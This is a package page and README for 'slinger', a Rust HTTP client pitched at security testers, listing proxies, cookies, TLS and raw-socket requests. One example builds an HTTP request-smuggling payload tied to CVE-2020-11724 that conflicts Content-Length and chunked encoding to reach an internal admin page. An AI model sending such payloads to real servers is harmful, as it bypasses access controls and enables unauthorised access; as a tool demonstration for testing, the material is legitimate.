15 releases

0.1.14 Nov 4, 2024
0.1.13 Nov 4, 2024
0.1.12 Oct 28, 2024
0.1.9 Aug 15, 2024
0.1.2 May 30, 2024

#1202 in Network programming

Download history 40/week @ 2024-07-29 55/week @ 2024-08-05 194/week @ 2024-08-12 22/week @ 2024-08-19 25/week @ 2024-08-26 14/week @ 2024-09-02 15/week @ 2024-09-09 117/week @ 2024-09-16 13/week @ 2024-09-23 59/week @ 2024-09-30 33/week @ 2024-10-07 146/week @ 2024-10-14 294/week @ 2024-10-21 194/week @ 2024-10-28 312/week @ 2024-11-04 42/week @ 2024-11-11

969 downloads per month

GPL-3.0-only

140KB
3K SLoC

Contributors Forks Stargazers Issues MIT License crates io


Logo

slinger(投石器)

An HTTP Client for Rust designed for hackers.
Explore the docs »

View Demo · Report Bug · Request Feature

About The Project

Product Name Screen Shot

  • customizable redirect policy
  • http/https and socks5/socks5h proxies
  • cookie store
  • raw socket request
  • HTTPS via tls

(back to top)

Getting Started

This example enables some optional features, so your Cargo.toml could look like this:

[dependencies]
slinger = { version = "0.1.2", features = ["serde", "cookie", "charset", "tls", "gzip"] }

And then the code:

fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get")?;
  println!("{:?}", resp.text());
  Ok(())
}

Example

use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";

fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::new().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send()?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

For more examples, please refer to the example

(back to top)

Contributing

Contributions are what make the open source community such an amazing place to learn, inspire, and create. Any contributions you make are greatly appreciated.

If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also simply open an issue with the tag "enhancement". Don't forget to give the project a star! Thanks again!

  1. Fork the Project
  2. Create your Feature Branch (git checkout -b feature/AmazingFeature)
  3. Commit your Changes (git commit -m 'Add some AmazingFeature')
  4. Push to the Branch (git push origin feature/AmazingFeature)
  5. Open a Pull Request

(back to top)

License

Distributed under the GPL-3.0-only License. See LICENSE for more information.

(back to top)

Contact

Your Name - @Kali_Team - root@kali-team.cn

Project Link: https://github.com/emo-crab/slinger

(back to top)

Acknowledgments

(back to top)

Dependencies

~1–12MB
~171K SLoC